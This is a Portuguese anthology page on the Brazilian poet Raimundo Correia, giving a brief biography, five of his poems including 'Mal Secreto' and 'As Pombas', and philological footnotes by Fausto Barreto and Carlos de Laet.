Raimundo Correa – Antologia Poética

RAIMUNDO DA MOTA AZEVEDO CORREIA, nascido a bordo
do vapor "São Luís", na baía de Mogúncia, litoral do Maranhão, faleceu
na Europa, tendo vivido de 1860 a 1911. Passou rapidamente pela admi-
nistração e pela diplomacia e era, quando morreu, magistrado no Distrito
Federal.

São conhecidíssimas suas belas poesias, estampadas com os títulos de
Sinfonias, Versos e Versões e Aleluia. Uma edição portuguesa foi pre-
faciada por D. João da Câmara. Era membro da Academia Brasileira
de Letras. Pelo esmero da forma, posta ao serviço de opulenta imaginação
e delicado sentimentalismo, mereceu Raimundo o que dele disse o prefa-
ciador de suas poesias: — ser um dos primeiros poetas brasileiros, e,
portanto, uma glória portuguesa.

Isto como homem de letras; magistrado e chefe de família Raimundo
foi um justo e um puro.

Anoitecer

Esbraseia o Ocidente na agonia
O Sol… Aves, em bandos destacados,
Por céus de ouro e de púrpura raiados,
Fogem… Fecha-se a pálpebra do dia…

Delineiam-se, além da serrania
Os vértices de chama aureolados.
E em tudo, em torno, esbatem derramados
Uns tons suaves de melancolia…

Um mundo de vapores no ar flutua…
Como uma informe nódoa, avulta e cresce
A sombra, à proporção que a luz recua…

A natureza apática esmaece…
Pouco a pouco, entre as árvores, a lua
Surge trêmula, trêmula… Anoitece.

As Pombas

Vai-se a primeira pomba despertada…
Vai-se outra mais… mais outra… enfim dezenas
De pombas vão-se dos pombais, apenas
Raia sangüínea e fresca a madrugada.

E à tarde, quando a rígida nortada
Sopra, aos pombais, de novo, elas, serenas
Rufiando as asas, sacudindo as penas,
Voltam todas em bando e em revoada.. .

Também dos corações onde abotoam,
Os sonhos, um por um, céleres voam
Como voam as pombas dos pombais;

No azul da adolescência as asas soltam,
Fogem… Mas aos pombais as pombas voltam
E eles aos corações não voltam mais…

Mal Secreto

Se a cólera que espuma, a dor que mora
N’aima e destrói cada ilusão que nasce;
Tudo o que punge, tudo o que devora
O coração, no rosto se estampasse;

Se se pudesse o espírito que chora
Ver através da máscara da face,
Quanta gente talvez que inveja agora
Nos causa, então piedade nos causasse!

Quanta gente que ri, talvez consigo
Guarda um atroz, recôndito inimigo,
Como invisível chaga cancerosa!

Quanta gente que ri, talvez, existe,
Cuja ventura única consiste
Em parecer aos outros venturosa!

A Cavalgada

A lua a estrada solitária banha.
Silêncio… Mas além, confuso e brando,
O som longínquo vem se aproximando
Do galopar de estranha cavalgada.. .

São fidalgos que voltam da caçada;
Vêm alegres, vêm rindo, vêm cantando.
E as trompas a soar vão agitando
O remanso da noite embalsamada…

E o bosque estala, move-se, estremece…
Da cavalgada o estrépito, que aumenta,
Perde-se após no centro da montanha. ..

E o silêncio outra vez soturno desce…
E límpida, sem mácula, alvacenta,
A lua a estrada solitária ganha.

Peregrina

I

Zagais do monte, que um lindo (668)
Rebanho estais a guardar, (669)
Essa em pós da qual vou indo, (670)
Acaso a vistes passar?

Fonte entre seixos filtrada,
Não vos veio ela beber?
Florinhas, que orlais a estrada,
Não vos veio ela colher?

E vós, peregrino bando,
De andorinhas a emigrar,
Essa, em cujo encalço eu ando,
Não na vistes vós passar? (671)

II

Sem responderem lá se iam
As andorinhas pelo ar;
E as florinhas não sabiam
Resposta nenhuma dar;

E a água corrente da fonte
Corria sem responder;
E os pobres zagais do monte
Nada sabiam dizer. /

Mas, no fim da estrada, havia
Uma pedra tumular:
Esta, ai! sim, responderia,
Caso pudesse falar.

  • (668) —zagais – pastores; do ár. zagal, forte, vigoroso, valente; fem. za-
    gaia.
  • (669) Rebanho, conjunto de gado. Do lat. hipotético ‘herbaneu, de
    herba, subentendido pecus, o gado. Teve também a escrita rabanho, que se en-
    contra, por ex., em Samuel Usque, na Consolaçam às tribulaçoens de Israel.
    É sinônimo de arménio (do lat. armentu-) ou armentio (do lat. armeníivu).
    Cfr. *vagativu-, vacivu-, sanativu-, aestivu-, tarâivu-, producentes de vadio,
    vazio, sadio, estio e tardio.
  • (670) em pós da qual — após a qual, atrás da
    qual [em procura da qual].
  • (671) Não na vistes — o pronome a está sob a forma na, que é lá (lat. illa), nasalizado após o som nasal precedente: Quem no fèz, alguém no trouxe:”: “Teu curso, ó Providência, / quem no previu jamais?” (Ant. de Castilho, Cântico da noite, neste volume). “Cautela! efusão de sangue / ninguém na quer”. (Raimundo Correia). Essa alteração já se não pratica usualmente, permanecendo a forma nasal após tão somente a desinência do pl. dos verbos (levaram-no, guardem-na, viram-na): “Traziam-na os horríficos algozes”; e, mesmo assim, muitos há que, com prejuízo da eufonia, eliminam no complemento essa ressonância nasal, tão aceitável.

Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.

 

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